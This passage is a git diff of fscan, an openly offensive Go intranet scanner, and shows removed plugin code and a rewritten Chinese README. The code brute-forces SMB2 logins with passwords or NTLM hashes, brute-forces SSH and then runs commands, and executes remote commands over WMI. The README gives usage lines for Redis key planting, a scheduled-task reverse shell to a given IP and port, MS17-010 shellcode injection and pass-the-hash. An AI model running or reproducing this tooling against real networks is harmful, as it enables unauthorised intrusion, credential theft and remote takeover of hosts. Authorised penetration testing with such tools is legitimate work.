errlog = strings.Replace(errlog, "\n", " ", -1)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.HashBytes)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if len(common.Hash) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
hash := []byte{}
|
||||
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
|
||||
if flag2 {
|
||||
hasprint = true
|
||||
}
|
||||
if flag == true {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
|
||||
}
|
||||
if len(hash) > 0 {
|
||||
result += "hash: " + common.Hash
|
||||
} else {
|
||||
result += pass
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return err
|
||||
} else {
|
||||
var errlog string
|
||||
if len(common.Hash) > 0 {
|
||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
|
||||
} else {
|
||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||
}
|
||||
errlog = strings.Replace(errlog, "\n", " ", -1)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if len(common.Hash) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
|
||||
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
initiator := smb2.NTLMInitiator{
|
||||
User: user,
|
||||
Domain: common.Domain,
|
||||
}
|
||||
if len(hash) > 0 {
|
||||
initiator.Hash = hash
|
||||
} else {
|
||||
initiator.Password = pass
|
||||
}
|
||||
d := &smb2.Dialer{
|
||||
Initiator: &initiator,
|
||||
}
|
||||
|
||||
s, err := d.Dial(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer s.Logoff()
|
||||
names, err := s.ListSharenames()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !hasprint {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v ", info.Host, info.Ports, user)
|
||||
}
|
||||
if len(hash) > 0 {
|
||||
result += "hash: " + common.Hash
|
||||
} else {
|
||||
result += pass
|
||||
}
|
||||
result = fmt.Sprintf("%v shares: %v", result, names)
|
||||
common.LogSuccess(result)
|
||||
flag2 = true
|
||||
}
|
||||
fs, err := s.Mount("C$")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer fs.Umount()
|
||||
path := `Windows\win.ini`
|
||||
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
flag = true
|
||||
return
|
||||
//bs, err := ioutil.ReadAll(f)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//fmt.Println(string(bs))
|
||||
//return
|
||||
|
||||
}
|
||||
|
||||
//if info.Path == ""{
|
||||
//}
|
||||
//path = info.Path
|
||||
//f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//flag = true
|
||||
//_, err = f.Seek(0, io.SeekStart)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//bs, err := ioutil.ReadAll(f)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//fmt.Println(string(bs))
|
||||
//return
|
||||
//f, err := fs.Create(`Users\Public\Videos\hello.txt`)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//flag = true
|
||||
//
|
||||
//_, err = f.Write([]byte("Hello world!"))
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//
|
||||
//_, err = f.Seek(0, io.SeekStart)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//bs, err := ioutil.ReadAll(f)
|
||||
//if err != nil {
|
||||
// return
|
||||
//}
|
||||
//fmt.Println(string(bs))
|
||||
//return
|
@ -1,97 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SshScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["ssh"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := SshConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if common.SshKey != "" {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
var Auth []ssh.AuthMethod
|
||||
if common.SshKey != "" {
|
||||
pemBytes, err := ioutil.ReadFile(common.SshKey)
|
||||
if err != nil {
|
||||
return false, errors.New("read key failed" + err.Error())
|
||||
}
|
||||
signer, err := ssh.ParsePrivateKey(pemBytes)
|
||||
if err != nil {
|
||||
return false, errors.New("parse key failed" + err.Error())
|
||||
}
|
||||
Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
||||
} else {
|
||||
Auth = []ssh.AuthMethod{ssh.Password(Password)}
|
||||
}
|
||||
|
||||
config := &ssh.ClientConfig{
|
||||
User: Username,
|
||||
Auth: Auth,
|
||||
Timeout: time.Duration(common.Timeout) * time.Second,
|
||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config)
|
||||
if err == nil {
|
||||
defer client.Close()
|
||||
session, err := client.NewSession()
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
flag = true
|
||||
var result string
|
||||
if common.Command != "" {
|
||||
combo, _ := session.CombinedOutput(common.Command)
|
||||
result = fmt.Sprintf("[+] SSH %v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
|
||||
if common.SshKey != "" {
|
||||
result = fmt.Sprintf("[+] SSH %v:%v sshkey correct \n %v", Host, Port, string(combo))
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SSH %v:%v:%v %v", Host, Port, Username, Password)
|
||||
if common.SshKey != "" {
|
||||
result = fmt.Sprintf("[+] SSH %v:%v sshkey correct", Host, Port)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
|
||||
}
|
@ -1,256 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"compress/gzip"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
)
|
||||
|
||||
func WebTitle(info *common.HostInfo) error {
|
||||
if common.Scantype == "webpoc" {
|
||||
WebScan.WebScan(info)
|
||||
return nil
|
||||
}
|
||||
err, CheckData := GOWebTitle(info)
|
||||
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
|
||||
//不扫描打印机,避免打纸
|
||||
for _, v := range info.Infostr {
|
||||
if v == "打印机" {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
if !common.NoPoc && err == nil {
|
||||
WebScan.WebScan(info)
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
}
|
||||
func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
|
||||
if info.Url == "" {
|
||||
switch info.Ports {
|
||||
case "80":
|
||||
info.Url = fmt.Sprintf("http://%s", info.Host)
|
||||
case "443":
|
||||
info.Url = fmt.Sprintf("https://%s", info.Host)
|
||||
default:
|
||||
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
protocol := GetProtocol(host, common.Timeout)
|
||||
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
||||
}
|
||||
} else {
|
||||
if !strings.Contains(info.Url, "://") {
|
||||
host := strings.Split(info.Url, "/")[0]
|
||||
protocol := GetProtocol(host, common.Timeout)
|
||||
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
|
||||
}
|
||||
}
|
||||
|
||||
err, result, CheckData := geturl(info, 1, CheckData)
|
||||
if err != nil && !strings.Contains(err.Error(), "EOF") {
|
||||
return
|
||||
}
|
||||
|
||||
//有跳转
|
||||
if strings.Contains(result, "://") {
|
||||
info.Url = result
|
||||
err, result, CheckData = geturl(info, 3, CheckData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
|
||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
||||
err, result, CheckData = geturl(info, 1, CheckData)
|
||||
//有跳转
|
||||
if strings.Contains(result, "://") {
|
||||
info.Url = result
|
||||
err, _, CheckData = geturl(info, 3, CheckData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
//是否访问图标
|
||||
//err, _, CheckData = geturl(info, 2, CheckData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
|
||||
//flag 1 first try
|
||||
//flag 2 /favicon.ico
|
||||
//flag 3 302
|
||||
//flag 4 400 -> https
|
||||
|
||||
Url := info.Url
|
||||
if flag == 2 {
|
||||
URL, err := url.Parse(Url)
|
||||
if err == nil {
|
||||
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
|
||||
} else {
|
||||
Url += "/favicon.ico"
|
||||
}
|
||||
}
|
||||
req, err := http.NewRequest("GET", Url, nil)
|
||||
if err != nil {
|
||||
return err, "", CheckData
|
||||
}
|
||||
req.Header.Set("User-agent", common.UserAgent)
|
||||
req.Header.Set("Accept", common.Accept)
|
||||
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
if common.Cookie != "" {
|
||||
req.Header.Set("Cookie", common.Cookie)
|
||||
}
|
||||
//if common.Pocinfo.Cookie != "" {
|
||||
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
|
||||
//} else {
|
||||
// req.Header.Set("Cookie", "rememberMe=1")
|
||||
//}
|
||||
req.Header.Set("Connection", "close")
|
||||
var client *http.Client
|
||||
if flag == 1 {
|
||||
client = lib.ClientNoRedirect
|
||||
} else {
|
||||
client = lib.Client
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err, "https", CheckData
|
||||
}
|
||||
|
||||
defer resp.Body.Close()
|
||||
var title string
|
||||
body, err := getRespBody(resp)
|
||||
if err != nil {
|
||||
return err, "https", CheckData
|
||||
}
|
||||
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
|
||||
var reurl string
|
||||
if flag != 2 {
|
||||
if !utf8.Valid(body) {
|
||||
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
|
||||
}
|
||||
title = gettitle(body)
|
||||
length := resp.Header.Get("Content-Length")
|
||||
if length == "" {
|
||||
length = fmt.Sprintf("%v", len(body))
|
||||
}
|
||||
redirURL, err1 := resp.Location()
|
||||
if err1 == nil {
|
||||
reurl = redirURL.String()
|
||||
}
|
||||
result := fmt.Sprintf("[*] WebTitle %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
|
||||
if reurl != "" {
|
||||
result += fmt.Sprintf(" 跳转url: %s", reurl)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
if reurl != "" {
|
||||
return nil, reurl, CheckData
|
||||
}
|
||||
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
|
||||
return nil, "https", CheckData
|
||||
}
|
||||
return nil, "", CheckData
|
||||
}
|
||||
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
var body []byte
|
||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
||||
gr, err := gzip.NewReader(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer gr.Close()
|
||||
for {
|
||||
buf := make([]byte, 1024)
|
||||
n, err := gr.Read(buf)
|
||||
if err != nil && err != io.EOF {
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
break
|
||||
}
|
||||
body = append(body, buf...)
|
||||
}
|
||||
} else {
|
||||
raw, err := io.ReadAll(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
body = raw
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
|
||||
func gettitle(body []byte) (title string) {
|
||||
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
|
||||
find := re.FindSubmatch(body)
|
||||
if len(find) > 1 {
|
||||
title = string(find[1])
|
||||
title = strings.TrimSpace(title)
|
||||
title = strings.Replace(title, "\n", "", -1)
|
||||
title = strings.Replace(title, "\r", "", -1)
|
||||
title = strings.Replace(title, " ", " ", -1)
|
||||
if len(title) > 100 {
|
||||
title = title[:100]
|
||||
}
|
||||
if title == "" {
|
||||
title = "\"\"" //空格
|
||||
}
|
||||
} else {
|
||||
title = "None" //没有title
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GetProtocol(host string, Timeout int64) (protocol string) {
|
||||
protocol = "http"
|
||||
//如果端口是80或443,跳过Protocol判断
|
||||
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
|
||||
return
|
||||
} else if strings.HasSuffix(host, ":443") {
|
||||
protocol = "https"
|
||||
return
|
||||
}
|
||||
|
||||
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
conn := tls.Client(socksconn, &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true})
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
common.LogError(err)
|
||||
}
|
||||
}()
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
|
||||
err = conn.Handshake()
|
||||
if err == nil || strings.Contains(err.Error(), "handshake failure") {
|
||||
protocol = "https"
|
||||
}
|
||||
return protocol
|
||||
}
|
@ -1,117 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
|
||||
)
|
||||
|
||||
var ClientHost string
|
||||
var flag bool
|
||||
|
||||
func init() {
|
||||
if flag {
|
||||
return
|
||||
}
|
||||
clientHost, err := os.Hostname()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
ClientHost = clientHost
|
||||
flag = true
|
||||
}
|
||||
|
||||
func WmiExec(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
PASS:
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := Wmiexec(info, user, pass, common.Hash)
|
||||
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
||||
common.LogError(errlog)
|
||||
if flag == true {
|
||||
var result string
|
||||
if common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
|
||||
}
|
||||
if common.Hash != "" {
|
||||
result += "hash: " + common.Hash
|
||||
} else {
|
||||
result += pass
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return err
|
||||
} else {
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if len(common.Hash) == 32 {
|
||||
break PASS
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
|
||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
wmiexec.Timeout = int(common.Timeout)
|
||||
return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil)
|
||||
}
|
||||
|
||||
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
|
||||
if cfgIn == nil {
|
||||
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
|
||||
if err1 != nil {
|
||||
err = err1
|
||||
return
|
||||
}
|
||||
cfgIn = &cfg
|
||||
}
|
||||
execer := wmiexec.NewExecer(cfgIn)
|
||||
err = execer.SetTargetBinding(binding)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
err = execer.Auth()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
flag = true
|
||||
|
||||
if command != "" {
|
||||
command = "C:\\Windows\\system32\\cmd.exe /c " + command
|
||||
if execer.TargetRPCPort == 0 {
|
||||
err = errors.New("RPC Port is 0, cannot connect")
|
||||
return
|
||||
}
|
||||
|
||||
err = execer.RPCConnect()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = execer.Exec(command)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
432
README.md
432
README.md
@ -1,156 +1,211 @@
|
||||
# fscan
|
||||
# Fscan 2.0.0
|
||||
[English][url-docen]
|
||||
|
||||
# 1. 简介
|
||||
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
|
||||
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
|
||||
# 0x00 新增功能
|
||||
|
||||
# 2. 主要功能
|
||||
1.信息搜集:
|
||||
* 存活探测(icmp)
|
||||
* 端口扫描
|
||||
1、UI/UX 优化
|
||||
|
||||
2.爆破功能:
|
||||
* 各类服务爆破(ssh、smb、rdp等)
|
||||
* 数据库密码爆破(mysql、mssql、redis、psql、oracle等)
|
||||
2、增加修改-f -o参数,-f支持txt/csv/json,输出格式优化
|
||||
|
||||
3.系统信息、漏洞扫描:
|
||||
* netbios探测、域控识别
|
||||
* 获取目标网卡信息
|
||||
* 高危漏洞扫描(ms17010等)
|
||||
3、增加端口指纹识别功能。
|
||||
|
||||
4.Web探测功能:
|
||||
* webtitle探测
|
||||
* web指纹识别(常见cms、oa框架等)
|
||||
* web漏洞扫描(weblogic、st2等,支持xray的poc)
|
||||
4、增加本地信息搜集模块,增加本地域控探测模块,增加本地Minidump模块
|
||||
|
||||
5.漏洞利用:
|
||||
* redis写公钥或写计划任务
|
||||
* ssh命令执行
|
||||
* ms17017利用(植入shellcode),如添加用户等
|
||||
5、增加Telnet、VNC、Elasticsearch、RabbitMQ、Kafka、ActiveMQ、LDAP、SMTP、IMAP、POP3、SNMP、Zabbix、Modbus、Rsync、Cassandra、Neo4j扫描。
|
||||
|
||||
6.其他功能:
|
||||
* 文件保存
|
||||
6、架构重构,以反射+插件模块构建
|
||||
|
||||
# 3. 使用说明
|
||||
简单用法
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
|
||||
fscan.exe -h 192.168.1.1/16 (B段扫描)
|
||||
7、增加-log参数,支持INFO,SUCCESS、ERROR、DEBUG参数,用于调试具体信息。
|
||||
|
||||
8、优化线程,现在会以更好的多线程运行
|
||||
|
||||
|
||||
|
||||
**新版由于对旧版代码进行了全面的重构,难免会有Bug,请在遇到Bug时提交Issue,会尽快修复处理,感谢。**
|
||||
|
||||
**欢迎提交新的插件模块,目前插件为快速热插拔形式,适用于简易开发。**
|
||||
|
||||
# 0x01 简介
|
||||
|
||||
一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。
|
||||
|
||||
## 主要功能
|
||||
|
||||
- 主机存活探测:快速识别内网中的活跃主机
|
||||
- 端口扫描:全面检测目标主机开放端口
|
||||
- 服务爆破:支持对常见服务进行密码爆破测试
|
||||
- 漏洞利用:集成MS17-010等高危漏洞检测
|
||||
- Redis利用:支持批量写入公钥进行权限获取
|
||||
- 系统信息收集:可读取Windows网卡信息
|
||||
- Web应用检测:
|
||||
- Web指纹识别
|
||||
- Web漏洞扫描
|
||||
- 域环境探测:
|
||||
- NetBIOS信息获取
|
||||
- 域控制器识别
|
||||
- 后渗透功能:支持通过计划任务实现反弹shell
|
||||
|
||||
# 0x02 主要功能
|
||||
## 1. 信息搜集
|
||||
- 基于ICMP的主机存活探测:快速识别网络中的活跃主机设备
|
||||
- 全面的端口扫描:系统地检测目标主机的开放端口情况
|
||||
|
||||
## 2. 爆破功能
|
||||
- 常用服务密码爆破:支持SSH、SMB、RDP等多种协议的身份认证测试
|
||||
- 数据库密码爆破:覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等主流数据库系统
|
||||
|
||||
## 3. 系统信息与漏洞扫描
|
||||
- 网络信息收集:包括NetBIOS探测和域控制器识别
|
||||
- 系统信息获取:能够读取目标系统网卡配置信息
|
||||
- 安全漏洞检测:支持MS17-010等高危漏洞的识别与检测
|
||||
|
||||
## 4. Web应用探测
|
||||
- 网站信息收集:自动获取网站标题信息
|
||||
- Web指纹识别:可识别常见CMS系统与OA框架
|
||||
- 漏洞扫描能力:集成WebLogic、Struts2等漏洞检测,兼容XRay POC
|
||||
|
||||
## 5. 漏洞利用模块
|
||||
- Redis利用:支持写入公钥或植入计划任务
|
||||
- SSH远程执行:提供SSH命令执行功能
|
||||
- MS17-010利用:支持ShellCode注入,可实现添加用户等操作
|
||||
|
||||
## 6. 辅助功能
|
||||
- 扫描结果存储:将所有检测结果保存至文件,便于后续分析
|
||||
|
||||
# 0x03 使用说明
|
||||
|
||||
## 基础扫描配置
|
||||
|
||||
**以下参数由于重构原因并不能保证每一个参数都可以正常运行,出现问题请及时提交Issue。**
|
||||
|
||||
**目标配置**
|
||||
|
||||
```
|
||||
-h 指定目标(支持格式:192.168.1.1/24, 192.168.1.1-255, 192.168.1.1,192.168.1.2)
|
||||
-eh 排除特定目标
|
||||
-hf 从文件导入目标
|
||||
```
|
||||
|
||||
其他用法
|
||||
**端口配置**
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
|
||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
|
||||
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
|
||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
|
||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
|
||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
|
||||
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
|
||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
||||
fscan.exe -hf ip.txt (以文件导入)
|
||||
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
|
||||
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
|
||||
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
|
||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
|
||||
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
|
||||
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
|
||||
```
|
||||
编译命令
|
||||
```
|
||||
go build -ldflags="-s -w " -trimpath main.go
|
||||
upx -9 fscan.exe (可选,压缩体积)
|
||||
```
|
||||
arch用户安装
|
||||
`yay -S fscan-git 或者 paru -S fscan-git`
|
||||
|
||||
完整参数
|
||||
```
|
||||
-c string
|
||||
ssh命令执行
|
||||
-cookie string
|
||||
设置cookie
|
||||
-debug int
|
||||
多久没响应,就打印当前进度(default 60)
|
||||
-domain string
|
||||
smb爆破模块时,设置域名
|
||||
-h string
|
||||
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||
-hf string
|
||||
读取文件中的目标
|
||||
-hn string
|
||||
扫描时,要跳过的ip: -hn 192.168.1.1/24
|
||||
-m string
|
||||
设置扫描模式: -m ssh (default "all")
|
||||
-no
|
||||
扫描结果不保存到文件中
|
||||
-nobr
|
||||
跳过sql、ftp、ssh等的密码爆破
|
||||
-nopoc
|
||||
跳过web poc扫描
|
||||
-np
|
||||
跳过存活探测
|
||||
-num int
|
||||
web poc 发包速率 (default 20)
|
||||
-o string
|
||||
扫描结果保存到哪 (default "result.txt")
|
||||
-p string
|
||||
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
|
||||
-pa string
|
||||
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
|
||||
-path string
|
||||
fcgi、smb romote file path
|
||||
-ping
|
||||
使用ping代替icmp进行存活探测
|
||||
-pn string
|
||||
扫描时要跳过的端口,as: -pn 445
|
||||
-pocname string
|
||||
指定web poc的模糊名字, -pocname weblogic
|
||||
-proxy string
|
||||
设置代理, -proxy http://127.0.0.1:8080
|
||||
-user string
|
||||
指定爆破时的用户名
|
||||
-userf string
|
||||
指定爆破时的用户名文件
|
||||
-pwd string
|
||||
指定爆破时的密码
|
||||
-pwdf string
|
||||
指定爆破时的密码文件
|
||||
-rf string
|
||||
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
|
||||
-rs string
|
||||
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
|
||||
-silent
|
||||
静默扫描,适合cs扫描时不回显
|
||||
-sshkey string
|
||||
ssh连接时,指定ssh私钥
|
||||
-t int
|
||||
扫描线程 (default 600)
|
||||
-time int
|
||||
端口扫描超时时间 (default 3)
|
||||
-u string
|
||||
指定Url扫描
|
||||
-uf string
|
||||
指定Url文件扫描
|
||||
-wt int
|
||||
web访问超时时间 (default 5)
|
||||
